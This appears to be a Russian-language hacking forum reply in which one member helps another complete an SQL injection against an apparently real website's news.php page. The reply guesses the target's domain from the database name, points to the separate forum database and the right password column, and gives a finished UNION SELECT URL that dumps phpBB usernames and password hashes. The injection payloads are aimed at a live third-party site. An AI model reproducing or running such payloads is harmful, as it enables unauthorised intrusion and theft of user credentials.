23.08.2013, 15:06
|
|
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами:
7343606
Репутация:
652
|
|
Сообщение от danil7493
Скажите что не так?
http://www._____.com/news.php?newsid=-397+union+select+1,2,concat_ws(0x3a,username,passw ord),4,5,6,7,8,9+from+phpbb_users
Пишет Query failed: Table 'trunovc7_loy.phpbb_users' doesn't exist нет таблицы
5.0.92-log:trunovc7_tr@localhost:trunovc7_loy
Зачем скрывать доменное имя, если в большинстве случаев оно схоже с именем юзера или базы?! В Вашем случае, я так понимаю, http://www.trunov.com
Далее несложно определить, что курутиться несколько баз данных:
помимо information_schema и trunovc7_loy есть еще trunovc7_forum, которая и содержит необходимую Вам таблицу, то есть запрос примет вид ... from trunovc7_forum.phpbb_users.
И еще момент: колонки с названием passwordнет в таблице phpbb_users, есть user_password.
Итог:
Сообщение от None
http://www._____.com/news.php?newsid=-397+union+select+1,2,group_concat(0x3a,username,us er_password),4,5,6,7,8,9+from+trunovc7_forum.phpbb _users --+
|
|
|